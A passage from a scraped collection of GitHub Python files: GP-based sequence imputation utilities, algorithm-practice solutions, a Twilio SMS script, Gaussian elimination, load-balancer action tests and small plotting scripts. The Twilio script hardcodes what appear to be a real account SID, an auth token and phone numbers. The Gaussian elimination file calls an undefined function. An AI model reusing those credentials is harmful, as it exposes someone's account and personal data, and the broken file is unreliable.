input locations (n x d).\r\n X_train: Training locations (m x d).\r\n Y_train: Training targets (m x 1).\r\n l: Kernel length parameter.\r\n sigma_f: Kernel vertical variation parameter.\r\n sigma_y: Noise parameter.\r\n \r\n Returns:\r\n Posterior mean vector (n x d) and covariance matrix (n x n).\r\n \"\"\"\r\n K = kernel(X_train, X_train, l, sigma_f) + sigma_y**2 * np.eye(len(X_train))\r\n K_s = kernel(X_train, X_s, l, sigma_f)\r\n K_ss = kernel(X_s, X_s, l, sigma_f) + 1e-8 * np.eye(len(X_s))\r\n K_inv = np.linalg.inv(K)\r\n \r\n # Equation (7)\r\n mu_s = K_s.T.dot(K_inv).dot(Y_train)\r\n\r\n # Equation (8)\r\n cov_s = K_ss - K_s.T.dot(K_inv).dot(K_s)\r\n \r\n return mu_s, cov_s\r\n\r\ndef kernel(X1, X2, l=1.0, sigma_f=1.0):\r\n \"\"\"\r\n Isotropic squared exponential kernel.\r\n \r\n Args:\r\n X1: Array of m points (m x d).\r\n X2: Array of n points (n x d).\r\n\r\n Returns:\r\n (m x n) matrix.\r\n \"\"\"\r\n sqdist = np.sum(X1**2, 1).reshape(-1, 1) + np.sum(X2**2, 1) - 2 * np.dot(X1, X2.T)\r\n return sigma_f**2 * np.exp(-0.5 / l**2 * sqdist)\r\n\r\n\r\n\r\ndef compute_gp_uncertainty(obs_list, next_list, l=20):\r\n X_train = np.array(obs_list).reshape(-1, 1)\r\n Y_train = np.zeros_like(X_train)\r\n X = np.array(next_list).reshape(-1, 1)\r\n mu_s, cov_s = posterior(X, X_train, Y_train, l, 1)\r\n uncertainty = np.diag(np.abs(cov_s))\r\n min_uncertainty = np.min(uncertainty)\r\n idx = np.where(uncertainty < 2 * min_uncertainty)[0].tolist()\r\n return [next_list[each] for each in idx]\r\n\r\ndef get_next_to_impute(seq_len, obs_list, max_level, gp_uncertrain):\r\n \r\n min_dist_to_obs = np.zeros(seq_len)\r\n for i in range(seq_len):\r\n if i not in obs_list:\r\n min_dist = np.abs((np.array(obs_list) - i)).min()\r\n if min_dist <= 2 ** max_level:\r\n min_dist_to_obs[i] = min_dist\r\n next_idx = np.argwhere(min_dist_to_obs == np.amax(min_dist_to_obs))[:,0].tolist()\r\n \r\n gap = np.amax(min_dist_to_obs)\r\n if gp_uncertrain and gap == 2 ** max_level:\r\n next_idx = compute_gp_uncertainty(obs_list, next_idx)\r\n return next_idx, gap\r\n\r\ndef run_imputation(model, exp_data, num_missing, ckpt_dict, max_level, confidence, train_mean, test_mean, batch_size=32, fig_path=None, save_all_imgs=False, dataset='billiard', gp=0):\r\n model.eval()\r\n #inds = np.random.permutation(exp_data.shape[0])\r\n inds = np.arange(exp_data.shape[0])\r\n i = 0\r\n loss = 0\r\n\r\n if dataset == 'billiard':\r\n total_change_of_step_size = 0\r\n gt_total_change_of_step_size = 0\r\n if exp_data.shape[0] < batch_size:\r\n batch_size = exp_data.shape[0]\r\n while i + batch_size <= exp_data.shape[0]:\r\n print(i)\r\n ind = torch.from_numpy(inds[i:i+batch_size]).long()\r\n i += batch_size\r\n data = exp_data[ind]\r\n if dataset == 'nfl': # randomly permute player order for nfl\r\n num_players = int(data.shape[-1] / 2)\r\n rand_idx = np.arange(num_players)\r\n random.shuffle(rand_idx)\r\n rand_idx = np.concatenate([rand_idx, rand_idx+num_players])\r\n data = data[:,:,rand_idx]\r\n data = data.cuda()\r\n ground_truth = data.clone()\r\n # change (batch, time, x) to (time, batch, x)\r\n data = Variable(data.transpose(0, 1))\r\n ground_truth = ground_truth.transpose(0, 1)\r\n imputation = 10 * torch.ones_like(ground_truth)\r\n if dataset == 'billiard':\r\n num_missing = np.random.randint(180, 196)\r\n elif dataset == 'traffic':\r\n num_missing = np.random.randint(122, 141)\r\n elif dataset == 'mujoco':\r\n num_missing = 90\r\n elif dataset == 'nfl':\r\n num_missing = 45\r\n missing_list_np = np.random.choice(np.arange(data.shape[0]), num_missing, replace=False)\r\n obs_list_np = sorted(list(set(np.arange(data.shape[0])) - set(missing_list_np)))\r\n init_obs_list = obs_list = torch.from_numpy(np.array(obs_list_np)).long().cuda()\r\n init_obs_data = obs_data = data[obs_list]\r\n imputation[init_obs_list, :, :] = ground_truth[init_obs_list, :, :]\r\n #for j in range(batch_size):\r\n # if dataset == 'billiard':\r\n # plot(0, fig_path, init_obs_data, imputation, ground_truth, -1, i, j)\r\n while len(obs_list_np) < data.shape[0]:\r\n next_list_np, gap = get_next_to_impute(data.shape[0], obs_list_np, max_level, gp)\r\n #if confidence and gap ==2**max_level:\r\n # next_list_np = next_list_np[:1]\r\n max_gap = gap_to_max_gap(gap)\r\n model.load_state_dict(ckpt_dict[max_gap])\r\n obs_list = torch.from_numpy(np.array(obs_list_np)).long().cuda()\r\n obs_list_np += next_list_np\r\n \r\n obs_list = obs_list[None, :, None].repeat(batch_size,1,1) # [batch_size, seq_len, 1]\r\n next_list = torch.from_numpy(np.array(next_list_np)).long().cuda()\r\n target_data = ground_truth[next_list].transpose(0,1)\r\n next_list = next_list[None, :, None].repeat(batch_size,1,1) # [batch_size, seq_len, 1]\r\n prediction, att = model(obs_data.transpose(0,1), obs_list, next_list, gap, return_attns=True)\r\n prediction = prediction.detach()\r\n att = [each.detach() for each in att]\r\n \r\n \r\n if confidence:\r\n pred_mean = prediction[:, :, :ground_truth.shape[-1]]\r\n pred_std = F.softplus(prediction[:, :, ground_truth.shape[-1]:]) + 1e-6\r\n noise = torch.zeros_like(pred_mean)\r\n prediction = noise * pred_std + pred_mean\r\n imputation[next_list_np] = prediction.transpose(0,1)\r\n #for j in range(batch_size):\r\n # if dataset == 'billiard':\r\n # plot(0, fig_path, obs_data, imputation, ground_truth, gap, i, j, att, next_list, obs_list)\r\n obs_data = torch.cat([obs_data, prediction.transpose(0,1)], 0)\r\n loss += torch.sum((imputation - ground_truth).pow(2)) / num_missing\r\n if dataset == 'billiard':\r\n step_size = np.sqrt(np.square(imputation[:, :, ::2].cpu().numpy()) + np.square(imputation[:, :, 1::2].cpu().numpy()))\r\n change_of_step_size = np.abs(step_size[1:, :, :] - step_size[:-1, :, :])\r\n total_change_of_step_size += change_of_step_size.std()\r\n step_size = np.sqrt(np.square(ground_truth[:, :, ::2].cpu().numpy()) + np.square(ground_truth[:, :, 1::2].cpu().numpy()))\r\n change_of_step_size = np.abs(step_size[1:, :, :] - step_size[:-1, :, :])\r\n gt_total_change_of_step_size += change_of_step_size.std()\r\n if save_all_imgs:\r\n for j in range(batch_size):\r\n if dataset == 'billiard':\r\n plot(0, fig_path, init_obs_data, imputation, ground_truth, 32, i, j)\r\n elif dataset == 'traffic':\r\n plot_traffic(0, fig_path, init_obs_data, imputation, ground_truth, init_obs_list, gap, train_mean, test_mean, i, j)\r\n elif dataset == 'nfl':\r\n plot_nfl(0, fig_path, init_obs_data, imputation, ground_truth, gap, i, j)\r\n else:\r\n if dataset == 'billiard':\r\n plot(0, fig_path, init_obs_data, imputation, ground_truth, gap)\r\n elif dataset == 'traffic':\r\n plot_traffic(0, fig_path, init_obs_data, imputation, ground_truth, init_obs_list, gap, train_mean, test_mean)\r\n elif dataset == 'nfl':\r\n plot_nfl(0, fig_path, init_obs_data, imputation, ground_truth, gap)\r\n if dataset == 'billiard':\r\n print('change of step size gt: %f, change of step size ours: %f' % (gt_total_change_of_step_size/exp_data.shape[0], total_change_of_step_size/exp_data.shape[0]))\r\n return loss / i\r\n\r\ndef plot(epoch, fig_path, obs_data, imputation, ground_truth, gap, i=0, j=0, att=None, next_list=None, obs_list=None):\r\n \r\n \r\n ground_truth = ground_truth.cpu().numpy()\r\n imputation = imputation.detach().cpu().numpy()\r\n obs_data = obs_data.cpu().numpy()\r\n colormap = ['b', 'r', 'g', 'm', 'y']\r\n #plt.figure(figsize=(4,4))\r\n #plt.plot(ground_truth[:,j, 0], ground_truth[:,j,1], color=colormap[3])\r\n #plt.scatter(imputation[:,j,0], imputation[:,j,1], color=colormap[1])\r\n #plt.scatter(obs_data[:,j,0], obs_data[:,j,1], color=colormap[2])\r\n if att is not None and gap == 11:\r\n for k in reversed(range(att[0].shape[-1]-1)):\r\n if att[0][0,0,-1,k] != 0:\r\n k += 1\r\n break\r\n G_2_S_att = [each[:,:,k:,:k].detach().cpu().numpy() for each in att]\r\n obs_list = obs_list[0,:,0]\r\n next_list = next_list[0,:,0]\r\n for layer in range(8):\r\n for head in range(12):\r\n plt.figure(figsize=(4,4))\r\n candidates = []\r\n for g in range(G_2_S_att[0].shape[2]):\r\n for s in range(G_2_S_att[0].shape[3]):\r\n candidates.append(G_2_S_att[layer][j, head, g, s])\r\n candidates_min = min(candidates)\r\n candidates_max = max(candidates - candidates_min)\r\n for g in range(G_2_S_att[0].shape[2]):\r\n for s in range(G_2_S_att[0].shape[3]):\r\n gx, sx, gy, sy = imputation[next_list[g], j, 0], imputation[obs_list[s], j, 0] , imputation[next_list[g], j, 1], imputation[obs_list[s], j, 1]\r\n print(gx, sx, gy, sy, G_2_S_att[layer][j, head, g, s] )\r\n att_weight = G_2_S_att[layer][j, head, g, s]\r\n rescaled_att_weight = (att_weight - candidates_min) / candidates_max\r\n plt.plot([gx, sx], [gy, sy], linewidth=3 * rescaled_att_weight, alpha=min(0.5*rescaled_att_weight, 0.9), color='b')\r\n plt.plot(ground_truth[:,j, 0], ground_truth[:,j,1], color=colormap[3])\r\n plt.scatter(imputation[:,j,0], imputation[:,j,1], color=colormap[1])\r\n plt.scatter(obs_data[:,j,0], obs_data[:,j,1], color=colormap[2]) \r\n plt.xlim(-0.9, 0.9)\r\n plt.ylim(-0.9, 0.9)\r\n plt.xticks([])\r\n plt.yticks([])\r\n\r\n plt.subplots_adjust(left=0.01, right=0.99, top=0.99, bottom=0.01)\r\n plt.savefig(os.path.join(fig_path, 'test_epoch_{%d}_{%d}_{%d}_{%d}_{%d}_{%d}.png' % (epoch, gap, i, j, layer, head)), dpi=300)\r\n plt.close()\r\n return\r\n \r\n plt.figure(figsize=(4,4))\r\n plt.plot(ground_truth[:,j, 0], ground_truth[:,j,1], color=colormap[3])\r\n plt.scatter(imputation[:,j,0], imputation[:,j,1], color=colormap[1])\r\n plt.scatter(obs_data[:,j,0], obs_data[:,j,1], color=colormap[2])\r\n \r\n plt.xlim(-0.9, 0.9)\r\n plt.ylim(-0.9, 0.9)\r\n plt.xticks([])\r\n plt.yticks([])\r\n\r\n plt.subplots_adjust(left=0.01, right=0.99, top=0.99, bottom=0.01) \r\n\r\n plt.savefig(os.path.join(fig_path, 'test_epoch_{%d}_{%d}_{%d}_{%d}.pdf' % (epoch, gap, i, j)))\r\n plt.close()\r\n\r\ndef plot_nfl(epoch, fig_path, obs_data, imputation, ground_truth, gap, i=0, j=0):\r\n imputation = imputation.cpu().numpy()\r\n ground_truth = ground_truth.cpu().numpy()\r\n obs_data = obs_data.detach().cpu().numpy()\r\n colormap = ['b', 'r', 'g', 'm', 'y']\r\n for k in range(6):\r\n plt.scatter(imputation[:,j,k], imputation[:,j,k+6], color=colormap[0])\r\n plt.scatter(obs_data[:,j,k], obs_data[:,j,k+6], color=colormap[2])\r\n\r\n for k in range(6):\r\n plt.plot(ground_truth[:,j, k], ground_truth[:,j,k+6], color=colormap[3])\r\n plt.savefig(os.path.join(fig_path, 'test_epoch_{%d}_{%d}_{%d}_{%d}.png' % (epoch, gap, i, j)))\r\n plt.close()\r\n\r\ndef plot_traffic(epoch, fig_path, obs_data, imputation, ground_truth, init_obs_list, gap, train_mean, test_mean, i=0, j=0):\r\n init_obs_list = init_obs_list.cpu().numpy()\r\n ground_truth = ground_truth.cpu().numpy()\r\n imputation = imputation.detach().cpu().numpy()\r\n obs_data = obs_data.cpu().numpy()\r\n colormap = ['b', 'r', 'g', 'm', 'y']\r\n plt.plot(np.arange(ground_truth.shape[0]), ground_truth[:,j,100], color=colormap[3])\r\n plt.plot(np.arange(ground_truth.shape[0]), imputation[:,j,100], color=colormap[1])\r\n plt.scatter(init_obs_list, obs_data[:,j,100], color=colormap[2])\r\n plt.plot(np.arange(ground_truth.shape[0]), train_mean[:, 100], color=colormap[0])\r\n plt.plot(np.arange(ground_truth.shape[0]), test_mean[:, 100], color=colormap[-1])\r\n plt.savefig(os.path.join(fig_path, 'test_epoch_{%d}_{%d}_{%d}_{%d}.png' % (epoch, gap, i, j)))\r\n plt.close()\r\n\r\n\r\ndef identity_loss_schedule(epoch, start_weight=100.0, gamma=0.1, decay_epoch=50):\r\n if epoch < decay_epoch:\r\n return start_weight\r\n else:\r\n return gamma * start_weight\r\n","repo_name":"lx4ri6y78w/NRTSI","sub_path":"codes_regularly-sampled/utils/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":13518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25042734132","text":"# https://www.acmicpc.net/problem/14502\n# 연구소\n\n\"\"\"\n1. 벽 3개 세워서 board 만들기 -> (0, 0) ~ (N-1, M-1) 중 3개 고르기 -> combination\n2. 각 board bfs로 바이러스 퍼뜨리기\n3. 각 board에서 안전영역 갯수 세기\n\"\"\"\n\nfrom collections import deque\nfrom copy import deepcopy\nfrom itertools import combinations\n\nN, M = map(int, input().split())\npos = [(i, j) for j in range(M) for i in range(N)]\n\nboard = []\nfor _ in range(N):\n board.append(list(map(int, input().split())))\n\nwalls = list(combinations(pos, 3))\n\nsafe = 0\nfor wall in walls:\n if board[wall[0][0]][wall[0][1]] != 0:\n continue\n elif board[wall[1][0]][wall[1][1]] != 0:\n continue\n elif board[wall[2][0]][wall[2][1]] != 0:\n continue\n \n new_board = deepcopy(board)\n new_board[wall[0][0]][wall[0][1]] = 1\n new_board[wall[1][0]][wall[1][1]] = 1\n new_board[wall[2][0]][wall[2][1]] = 1\n\n q = deque()\n visited = [[False for _ in range(M)] for _ in range(N)]\n for i in range(N):\n for j in range(M):\n if new_board[i][j] == 2 and not visited[i][j]:\n visited[i][j] = True\n q.append((i, j))\n while q:\n x, y = q.popleft()\n for dx, dy in ((0, 1), (0, -1), (1, 0), (-1, 0)):\n if 0 <= x+dx < N and 0 <= y+dy < M and not visited[x+dx][y+dy]:\n if new_board[x+dx][y+dy] == 0:\n visited[x+dx][y+dy] = True\n new_board[x+dx][y+dy] = 2\n q.append((x+dx, y+dy))\n \n count = 0\n for i in range(N):\n for j in range(M):\n if new_board[i][j] == 0:\n count += 1\n safe = max(safe, count)\n\nprint(safe)","repo_name":"hmkim199/PrepareCodingTest","sub_path":"Baekjoon/14502.py","file_name":"14502.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40497609957","text":"class Solution:\n def nextGreaterElement(self, n: int) -> int:\n '''WRONG ANSWER'''\n # l = sorted(list(str(n)))[::-1]\n # newN = int(''.join(l))\n # if newN > (2 ** 31) -1 or newN <= n:\n # return -1 \n # else:\n # return newN\n \n\n digits = list(str(n))\n i = len(digits) - 1 \n\n while i - 1 > 0 and digits[i] <= digits[i-1] :\n i -= 1\n if i == 0 : return -1 # the number itself is the largest number posible with the given combination of digits\n\n j = i \n while j + 1 < len(digits) and digits[j+1] > digits[i-1] :\n j+= 1 \n \n digits[i-1],digits[j] = digits[j],digits[i-1]\n digits[i:] = digits[i:][::-1]\n \n num = int(''.join(digits))\n\n return num if num <= (2**31)-1 and num > n else -1\n ","repo_name":"lonebots/python-programming","sub_path":"leet-code/556-next-greater-element-III.py","file_name":"556-next-greater-element-III.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72982342273","text":"# Download the helper library from https://www.twilio.com/docs/python/install\nfrom twilio.rest import Client\n\n\n# Your Account Sid and Auth Token from twilio.com/console\n# DANGER! This is insecure. See http://twil.io/secure\naccount_sid = 'AC0a0f081fc70f492122a54dc2771ce222'\nauth_token = '319f37d64f5dc49919eccba159df2d8b'\nclient = Client(account_sid, auth_token)\n\nmessage = client.messages.create(\n body='Hi there!',\n from_='+917353679106',\n to='+918277140058'\n )\n\nprint(message.sid)\n","repo_name":"Shashikamal-RC/PythonScripts","sub_path":"sms_playground/text_me.py","file_name":"text_me.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32965090725","text":"import sympy as sm \nimport numpy as np \nimport math\nimport matplotlib.pyplot as plt\n\nx = sm.symbols('x')\n\ndef elimination(Ab,n): \n \n for k in range(n):\n \n for i in range(k+1,n):\n \n if(Ab[k][k] == 0):\n print(\"Division by 0, Gaussian elimination is not possible.\")\n return Ab\n break\n \n multiplier = Ab[i][k]/Ab[k][k]\n \n for j in range(k, n+1):\n Ab[i,j] = Ab[i,j] - multiplier*Ab[k,j]\n print()\n print(\"=============================\")\n print(Ab)\n \n return Ab \n\ndef gausSimple(A,b,n):\n Ab = np.append(A,b, axis = 1)\n Ab = elimination(Ab,n)\n\n\n A = Ab[:,0:n-1]\n b = Ab[:,n-1]\n\n x = regSus(Ab,n)\n\n for i in range(1,n+1,1):\n print(\"x\" + str(i) + \" = \" + str(x[i-1]))\n\nA = np.array([[10,20,-60.8319,8],[1,1,-2.1416,0],[17,-14,40.9823,20],[1,4,-12.5664,1]],dtype='float')\nb = np.array([[1],[1],[1],[1]], dtype ='float')\n\ngausSimple(A,b,4)","repo_name":"ksossa/NumericalAnalysisProject","sub_path":"apis/python/Linear Equations/gausSimple.py","file_name":"gausSimple.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18268843381","text":"\"\"\"Visualize prediction results of samples from test sets.\"\"\"\nimport torch\nfrom utils.misc import load_checkpoint\nfrom dataset.skeleton_abstract import deserialize_dataset\nfrom utils.visualizer import visualize_result\n\n\nif __name__ == '__main__':\n use_gpu = False # torch.cuda.is_available()\n device = torch.device('cuda:0' if use_gpu else 'cpu')\n original_dataset = deserialize_dataset('./dataset/'\n 'OAD_dataset'\n '.skeldat', False)\n has_interaction = original_dataset.has_interaction\n input_dim = original_dataset.get_joint_number() * 3\n if has_interaction:\n input_dim *= 2\n model = load_checkpoint('./validation/'\n 'OAD_VA+LN+SRU'\n '.tar',\n num_classes=original_dataset.label_size,\n input_dim=input_dim,\n device=device)[0]\n visualize_result(original_dataset, model, device, fps=30)\n","repo_name":"howieraem/KinectActionDetection","sub_path":"visualize_trained_jcr.py","file_name":"visualize_trained_jcr.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5753801234","text":"import os\nimport errno\nimport socket\nimport time\nimport eventlet\nimport unittest\nhttplib2 = eventlet.import_patched(\"httplib2\")\nfrom eventlet.timeout import Timeout\nfrom ..loadbalancer import Balancer\nfrom ..actions import Empty, Static, Unknown, NoHosts, Redirect, Proxy, Spin\n\n\nclass MockBalancer(object):\n \"Fake Balancer class for testing.\"\n\n def __init__(self, fixed_action=None):\n self.fixed_action = None\n self.static_dir = \"/tmp/\"\n\n def resolve_host(self, host):\n return self.fixed_action\n\n\nclass MockSocket(object):\n \"Fake Socket class that remembers what was sent. Doesn't implement sendfile.\"\n\n def __init__(self):\n self.data = \"\"\n\n def send(self, data):\n self.data += data\n return len(data)\n\n def sendall(self, data):\n self.data += data\n\n def close(self):\n pass\n\n\nclass MockErrorSocket(object):\n \"Fake Socket class that raises a specific error message on use.\"\n\n def __init__(self, error_code):\n self.error_code = error_code\n\n def _error(self, *args, **kwargs):\n raise socket.error(self.error_code, os.strerror(self.error_code))\n sendall = _error\n\n\nclass ActionTests(unittest.TestCase):\n \"Tests the various actions\"\n\n def test_empty(self):\n \"Tests the Empty action\"\n action = Empty(MockBalancer(), \"zomg-lol.com\", \"zomg-lol.com\", code=500)\n sock = MockSocket()\n action.handle(sock, \"\", \"/\", {})\n self.assertEqual(\n \"HTTP/1.0 500 Internal Server Error\\r\\nConnection: close\\r\\nContent-length: 0\\r\\n\\r\\n\",\n sock.data,\n )\n\n def test_handle(self):\n \"Tests the Static action\"\n action = Static(MockBalancer(), \"kittens.net\", \"kittens.net\", type=\"timeout\")\n sock = MockSocket()\n action.handle(sock, \"\", \"/\", {})\n self.assertEqual(\n open(os.path.join(os.path.dirname(__file__), \"..\", \"static\", \"timeout.http\")).read(),\n sock.data,\n )\n\n def test_unknown(self):\n \"Tests the Unknown action\"\n action = Unknown(MockBalancer(), \"firefly.org\", \"firefly.org\")\n sock = MockSocket()\n action.handle(sock, \"\", \"/\", {})\n self.assertEqual(\n open(os.path.join(os.path.dirname(__file__), \"..\", \"static\", \"unknown.http\")).read(),\n sock.data,\n )\n\n def test_nohosts(self):\n \"Tests the NoHosts action\"\n action = NoHosts(MockBalancer(), \"thevoid.local\", \"thevoid.local\")\n sock = MockSocket()\n action.handle(sock, \"\", \"/\", {})\n self.assertEqual(\n open(os.path.join(os.path.dirname(__file__), \"..\", \"static\", \"no-hosts.http\")).read(),\n sock.data,\n )\n\n def test_redirect(self):\n \"Tests the Redirect action\"\n action = Redirect(MockBalancer(), \"lions.net\", \"lions.net\", redirect_to=\"http://tigers.net\")\n # Test with root path\n sock = MockSocket()\n action.handle(sock, \"\", \"/\", {})\n self.assertEqual(\n \"HTTP/1.0 302 Found\\r\\nLocation: http://tigers.net/\\r\\n\\r\\n\",\n sock.data,\n )\n # Test with non-root path\n sock = MockSocket()\n action.handle(sock, \"\", \"/bears/\", {})\n self.assertEqual(\n \"HTTP/1.0 302 Found\\r\\nLocation: http://tigers.net/bears/\\r\\n\\r\\n\",\n sock.data,\n )\n # Test with https\n action = Redirect(MockBalancer(), \"oh-my.com\", \"oh-my.com\", redirect_to=\"https://meme-overload.com\")\n sock = MockSocket()\n action.handle(sock, \"\", \"/bears2/\", {})\n self.assertEqual(\n \"HTTP/1.0 302 Found\\r\\nLocation: https://meme-overload.com/bears2/\\r\\n\\r\\n\",\n sock.data,\n )\n # Test with same-protocol\n action = Redirect(MockBalancer(), \"example.com\", \"example.com\", redirect_to=\"example.net\")\n sock = MockSocket()\n action.handle(sock, \"\", \"/test/\", {})\n self.assertEqual(\n \"HTTP/1.0 302 Found\\r\\nLocation: http://example.net/test/\\r\\n\\r\\n\",\n sock.data,\n )\n sock = MockSocket()\n action.handle(sock, \"\", \"/test/\", {\"X-Forwarded-Protocol\": \"SSL\"})\n self.assertEqual(\n \"HTTP/1.0 302 Found\\r\\nLocation: https://example.net/test/\\r\\n\\r\\n\",\n sock.data,\n )\n\n def test_proxy(self):\n \"Tests the Proxy action\"\n # Check failure with no backends\n self.assertRaises(\n AssertionError,\n lambda: Proxy(MockBalancer(), \"khaaaaaaaaaaaaan.xxx\", \"khaaaaaaaaaaaaan.xxx\", backends=[]),\n )\n # TODO: launch local server, proxy to that\n\n def test_spin(self):\n \"Tests the Spin action\"\n # Set the balancer up to return a Spin\n balancer = MockBalancer()\n action = Spin(balancer, \"aeracode.org\", \"aeracode.org\", timeout=2, check_interval=1)\n balancer.fixed_action = action\n # Ensure it times out\n sock = MockSocket()\n try:\n with Timeout(2.2):\n start = time.time()\n action.handle(sock, \"\", \"/\", {})\n duration = time.time() - start\n except Timeout:\n self.fail(\"Spin lasted for too long\")\n self.assert_(\n duration >= 1,\n \"Spin did not last for long enough\"\n )\n self.assertEqual(\n open(os.path.join(os.path.dirname(__file__), \"..\", \"static\", \"timeout.http\")).read(),\n sock.data,\n )\n # Now, ensure it picks up a change\n sock = MockSocket()\n try:\n with Timeout(2):\n def host_changer():\n eventlet.sleep(0.7)\n balancer.fixed_action = Empty(balancer, \"aeracode.org\", \"aeracode.org\", code=402)\n eventlet.spawn(host_changer)\n action.handle(sock, \"\", \"/\", {})\n except Timeout:\n self.fail(\"Spin lasted for too long\")\n self.assertEqual(\n \"HTTP/1.0 402 Payment Required\\r\\nConnection: close\\r\\nContent-length: 0\\r\\n\\r\\n\",\n sock.data,\n )\n\n def test_socket_errors(self):\n for action in [\n Empty(MockBalancer(), \"\", \"\", code=500),\n Unknown(MockBalancer(), \"\", \"\"),\n Redirect(MockBalancer(), \"\", \"\", redirect_to=\"http://pypy.org/\"),\n ]:\n sock = MockErrorSocket(errno.EPIPE)\n # Doesn't error\n action.handle(sock, \"\", \"/\", {})\n sock = MockErrorSocket(errno.EBADF)\n with self.assertRaises(socket.error) as cm:\n action.handle(sock, \"\", \"/\", {})\n self.assertEqual(cm.exception.errno, errno.EBADF)\n\n\nclass LiveActionTests(unittest.TestCase):\n \"\"\"\n Tests that the client/API work correctly.\n \"\"\"\n\n next_port = 30300\n\n def setUp(self):\n self.__class__.next_port += 3\n self.balancer = Balancer(\n [((\"0.0.0.0\", self.next_port), socket.AF_INET)],\n [((\"0.0.0.0\", self.next_port + 1), socket.AF_INET)],\n [((\"0.0.0.0\", self.next_port + 2), socket.AF_INET)],\n \"/tmp/mantrid-test-state-2\",\n )\n self.balancer_thread = eventlet.spawn(self.balancer.run)\n eventlet.sleep(0.1)\n self.balancer.hosts = {\n \"test-host.com\": [\"static\", {\"type\": \"test\"}, True],\n }\n \n def tearDown(self):\n self.balancer.running = False\n self.balancer_thread.kill()\n eventlet.sleep(0.1)\n\n def test_unknown(self):\n # Send a HTTP request to the balancer, ensure the response\n # is the same as the \"unknown\" template\n h = httplib2.Http()\n resp, content = h.request(\n \"http://127.0.0.1:%i\" % self.next_port,\n \"GET\",\n )\n self.assertEqual(\n '503',\n resp['status'],\n )\n expected_content = open(os.path.join(os.path.dirname(__file__), \"..\", \"static\", \"unknown.http\")).read()\n expected_content = expected_content[expected_content.index(\"\\r\\n\\r\\n\") + 4:]\n self.assertEqual(\n expected_content,\n content,\n )\n","repo_name":"epio/mantrid","sub_path":"mantrid/tests/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":8111,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"61"} +{"seq_id":"40046548134","text":"# Tämä tiedosto ei varsinaisesti kuulu projektiin,\n# mutta laitan sen nyt tänne, jotta\n# nähdään miten tarkalleen nopeutta testattiin\n\nimport pakkaus\nimport matplotlib.pyplot as plt\nimport time\n\nwith open(\"enwik8\", \"rb\") as f:\n data = f.read()\n\nlzw_comp_results = []\nhuf_comp_results = []\nlzw_uncomp_results = []\nhuf_uncomp_results = []\nlzw_efficiency = []\nhuf_efficiency = []\n\nsize = 4096\n\nwhile size < len(data):\n start_time = time.time()\n lzw_packed = pakkaus.lzw.compress(data[0:size])\n lzw_comp_results.append((size, time.time() - start_time))\n lzw_efficiency.append((size, len(lzw_packed) / size))\n\n start_time = time.time()\n lzw_unpacked = pakkaus.lzw.uncompress(lzw_packed)\n lzw_uncomp_results.append((size, time.time() - start_time))\n\n start_time = time.time()\n huf_packed = pakkaus.huffman.pack_data(data[0:size])\n huf_comp_results.append((size, time.time() - start_time))\n huf_efficiency.append((size, len(huf_packed) / size))\n\n start_time = time.time()\n huf_unpacked = pakkaus.huffman.unpack_data(huf_packed)\n huf_uncomp_results.append((size, time.time() - start_time))\n\n size *= 2\n\n# https://stackoverflow.com/questions/1094841/get-human-readable-version-of-file-size\ndef sizeof_fmt(num, _):\n for unit in [\"\", \"Ki\", \"Mi\", \"Gi\", \"Ti\", \"Pi\", \"Ei\", \"Zi\"]:\n if abs(num) < 1024.0:\n return f\"{num:3.1f}{unit}B\"\n num /= 1024.0\n return f\"{num:.1f}YiB\"\n\n\nfig, (ax1, ax2) = plt.subplots(2)\n\n\nax1.xaxis.set_major_formatter(sizeof_fmt)\n\nfig.suptitle(\"enwik8 pakkaus- ja purkunopeus\")\n\nax1.plot(*zip(*lzw_comp_results), label=\"LZW Pakkausnopeus\")\nax1.plot(*zip(*huf_comp_results), label=\"Huffman Pakkausnopeus\")\nax1.legend(loc=\"best\")\n\nfig.supxlabel(\"Syötteen koko tavuina\")\nfig.supylabel(\"Aika sekunteina\")\n\n\nax2.xaxis.set_major_formatter(sizeof_fmt)\n\nax2.plot(*zip(*lzw_uncomp_results), label=\"LZW Purkamisnopeus\")\nax2.plot(*zip(*huf_uncomp_results), label=\"Huffman Purkamisnopeus\")\nax2.legend(loc=\"best\")\n\nfig, ax = plt.subplots()\nfig.suptitle(\"enwik8 pakkaussuhde\")\n\n\nax.xaxis.set_major_formatter(sizeof_fmt)\nax.yaxis.set_major_formatter(lambda x, _: f\"{x*100:.1f}%\")\n\nax.plot(*zip(*lzw_efficiency), label=\"LZW Pakkaussuhde\")\nax.plot(*zip(*huf_efficiency), label=\"Huffman Pakkaussuhde\")\nax.legend(loc=\"best\")\nplt.xlabel(\"Syötteen koko tavuina\")\nplt.ylabel(\"Pakkaussuhde\")\n\nplt.show()\n","repo_name":"vaisest/pakkaus-tira","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28002038104","text":"#This program implements a loop and draws a turtle art using the turtle module\n\n#Run python shell by typing \"python3\" then type \"import drawing\" then \"drawing.drawpic()\"\n\n\nimport turtle\nimport math\nimport time\n\ndef leaf_right(t, angl, forw):\n\tt.left(angl)\n\tt.forward(forw)\n\ndef leaf_left(t, angl, forw):\n\tt.right(angl)\n\tt.forward(forw)\n\n\ndef drawpic():\n\tchange = 0\n\t\n\t#a super cute turtle draws my picture and this mode sets the whole drawing color to pink\n\tturtle.shape(\"turtle\")\n\tturtle.colormode(255)\n\tturtle.color(215, 100, 170)\n\n\tturtle.speed(0)\n\t\n\t#draws the flower\n\tfor angle in range(0, 360, 